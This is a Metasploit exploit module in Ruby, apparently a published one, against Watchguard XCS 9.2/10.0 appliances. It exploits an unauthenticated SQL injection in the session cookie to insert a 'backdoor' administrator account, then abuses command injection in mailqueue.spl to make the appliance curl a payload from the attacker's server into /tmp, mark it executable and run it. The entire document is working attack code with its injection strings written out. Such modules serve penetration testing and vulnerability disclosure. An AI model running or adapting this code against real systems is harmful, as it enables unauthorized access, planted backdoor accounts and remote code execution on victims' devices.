1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Watchguard XCS Remote Command Execution',
'Description' => %q{
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
remote attacker may insert a valid web user into the appliance database, and get access
to the web interface. On the other hand, a vulnerability in the web interface allows the
attacker to inject operating system commands as the 'nobody' user.
},
'Author' =>
[
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
],
'Platform' => 'bsd',
'Arch' => ARCH_X86_64,
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Watchguard XCS 9.2/10.0', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 29 2015'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
Opt::RPORT(443)
],
self.class
)
end
def check
#Check to see if the SQLi is present
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
'cookie' => "sid=1'"
})
if res && res.body && res.body.include?('unterminated quoted string')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
# Get a valid session by logging in or exploiting SQLi to add user
print_status('Getting a valid session...')
@sid = get_session
print_status('Successfully logged in')
# Check if cmd injection works
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
end
# We have cmd exec, stand up an HTTP server and deliver the payload
vprint_status('Getting ready to drop binary on appliance')
@elf_sent = false
# Generate payload
@pl = generate_payload_exe
if @pl.nil?
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
end
# Start the server and use primer to trigger fetching and running of the payload
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
end
def attempt_login(username, pwd_clear)
#Attempts to login with the provided user credentials
#Get the login page
get_login_hash = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login.spl')
})
unless get_login_hash && get_login_hash.body
fail_with(Failure::Unreachable, 'Could not get login page.')
end
#Find the hash token needed to login
login_hash = ''
get_login_hash.body.each_line do |line|
next if line !~ /name="hash" value="(.*)"/
login_hash = $1
break
end
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
if login_hash == '' || sid_cookie == ''
fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
end
login_post = {
'u' => "#{username}",
'pwd' => "#{pwd_clear}",
'hash' => login_hash,
'login' => 'Login'
}
print_status('Attempting to login with provided credentials')
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login.spl'),
'method' => 'POST',
'encode_params' => false,
'cookie' => "sid=#{sid_cookie}",
'vars_post' => login_post,
'vars_get' => {
'f' => 'V'
}
})
unless login && login.body && login.body.include?('<title>Loading...</title>')
return nil
end
sid_cookie
end
def add_user(user_id, username, pwd_hash, pwd_clear)
#Adds a user to the database using the unauthed SQLi
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
})
unless res && res.body
fail_with(Failure::Unreachable, "Could not connect to host")
end
if res.body.include?('ERROR: duplicate key value violates unique constraint')
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
else
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
end
true
end
def generate_device_hash(cleartext_password)
#Generates the specific hashes needed for the XCS
pre_salt = 'BorderWare '
post_salt = ' some other random (9) stuff'
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
final_hash
end
def send_cmd_exec(uri, os_cmd, blocking = true)
#This is a handler function that makes HTTP calls to exploit the command injection issue
unless @sid
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
end
opts = {
'uri' => normalize_uri(target_uri.path, "#{uri}"),
'cookie' => "sid=#{@sid}",
'encode_params' => true,
'vars_get' => {
'f' => 'dnld',
'id' => ";#{os_cmd}"
}
}
if blocking
res = send_request_cgi(opts)
else
res = send_request_cgi(opts, 1)
end
#Handle cmd exec failures
if res.nil? && blocking
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
end
res
end
def get_session
#Gets a valid login session, either valid creds or the SQLi vulnerability
username = datastore['WATCHGUARD_USER']
pwd_clear = datastore['WATCHGUARD_PASSWORD']
user_id = rand(999)
sid_cookie = attempt_login(username, pwd_clear)
return sid_cookie unless sid_cookie.nil?
vprint_error('Failed to login, attempting to add backdoor user...')
pwd_hash = generate_device_hash(pwd_clear)
unless add_user(user_id, username, pwd_hash, pwd_clear)
fail_with(Failure::Unknown, 'Failed to add user account to database.')
end
sid_cookie = attempt_login(username, pwd_clear)
unless sid_cookie
fail_with(Failure::Unknown, 'Unable to login with user account.')
end
sid_cookie
end
# Make the server download the payload and run it
def primer
vprint_status('Primer hook called, make the server get and run exploit')
#Gets the autogenerated uri from the mixin
payload_uri = get_uri
filename = rand_text_alpha_lower(8)
print_status("Sending download request for #{payload_uri}")
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
vprint_status("Telling appliance to run #{download_cmd}")
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
register_file_for_cleanup("/tmp/#{filename}")
chmod_cmd = "chmod +x /tmp/#{filename}"
vprint_status('Chmoding the payload...')
send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
exec_cmd = "/tmp/#{filename}"
vprint_status('Running the payload...')
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
vprint_status('Finished primer hook, raising Timeout::Error manually')
raise(Timeout::Error)
end
#Handle incoming requests from the server
def on_request_uri(cli, request)
vprint_status("on_request_uri called: #{request.inspect}")
print_status('Sending the payload to the server...')
@elf_sent = true
send_response(cli, @pl)
end
end
|